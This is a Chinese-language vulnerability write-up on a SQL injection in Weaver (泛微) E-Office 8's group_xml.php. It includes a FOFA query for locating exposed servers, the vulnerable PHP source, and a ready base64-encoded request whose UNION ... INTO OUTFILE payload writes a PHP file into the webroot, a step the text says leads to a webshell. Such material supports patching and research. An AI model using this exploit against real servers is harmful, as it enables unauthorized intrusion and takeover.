mirror of
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116 lines
2.8 KiB
Markdown
116 lines
2.8 KiB
Markdown
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# 泛微OA E-Office group_xml.php SQL注入漏洞
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## 漏洞描述
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泛微OA E-Office group_xml.php文件存在SQL注入漏洞，攻击者通过漏洞可以写入Webshell文件获取服务器权限
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## 漏洞影响
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```
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泛微OA E-Office 8
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```
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## FOFA
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```
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app="泛微-EOffice"
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```
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## 漏洞复现
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登录页面
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存在漏洞的文件为 `inc/group_user_list/group_xml.php`
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```
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session_start( );
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include_once( "inc/conn.php" );
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include_once( "inc/xtree_xml.inc.php" );
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include_once( "inc/utility_all.php" );
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header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
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header( "Cache-Control: no-cache, must-revalidate" );
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header( "Pragma: no-cache" );
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header( "Content-Type: text/xml" );
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$pararr = explodestpar( $_REQUEST['par'] );
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$groupid = $pararr['groupid'];
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if ( $groupid == "" )
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{
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exit( );
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}
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$groupurl_fix = "?";
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$userurl_fix = "?";
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if ( 0 < strpos( $pararr['group_url'], "?" ) )
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{
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$groupurl_fix = "&";
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}
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if ( 0 < strpos( $pararr['user_url'], "?" ) )
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{
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$userurl_fix = "&";
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}
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$xtreeXml = new xtreeXml( );
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$xtreeXml->initXml( );
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if ( $pararr['group'] == 1 )
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{
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$sql = "SELECT * FROM pub_group WHERE GROUP_ID=".$groupid."";
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}
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else
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{
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$sql = "SELECT * FROM USER,USER_GROUP WHERE USER_GROUP.GROUP_ID=".$groupid."";
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}
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$rs = exequery( $connection, $sql );
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$row = mysql_fetch_array( $rs );
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$groupmember = $row['GROUP_MEMBER'];
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```
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$groupid没有被双引号包裹，然后造成注入。然后$groupid来自于$pararr['groupid'];其中经过了$explodestpar这个函数
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```
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function explodeStPar( $enpar )
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{
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$depar = base64_decode( $enpar );
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$arrpar = explode( "|", $depar );
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if ( !is_array( $arrpar ) )
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{
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return false;
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}
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$i = 0;
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for ( ; $i < sizeof( $arrpar ); ++$i )
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{
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$strpar = $arrpar[$i];
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$tmparr = explode( ":", $strpar );
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$j = 0;
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for ( ; $j < sizeof( $tmparr ); ++$j )
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{
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if ( $j == 0 )
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{
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preg_match( "/\\[([a-z0-9-_].+)\\]/i", $tmparr[$j], $exp );
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$par = $exp[1];
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}
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else
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{
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preg_match( "/\\[(.*)\\]/i", $tmparr[$j], $exp );
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$val = $exp[1];
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}
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}
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if ( trim( $par ) != "" )
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{
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$rearr[$par] = $val;
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}
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}
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return $rearr;
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}
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```
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构造EXP写入文件
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```
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[group]:[1]|[groupid]:[1 union select '<?php phpinfo()?>',2,3,4,5,6,7,8 into outfile '../webroot/vulntest.php']
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| base64
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/inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L3Z1bG50ZXN0LnBocCdd
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```
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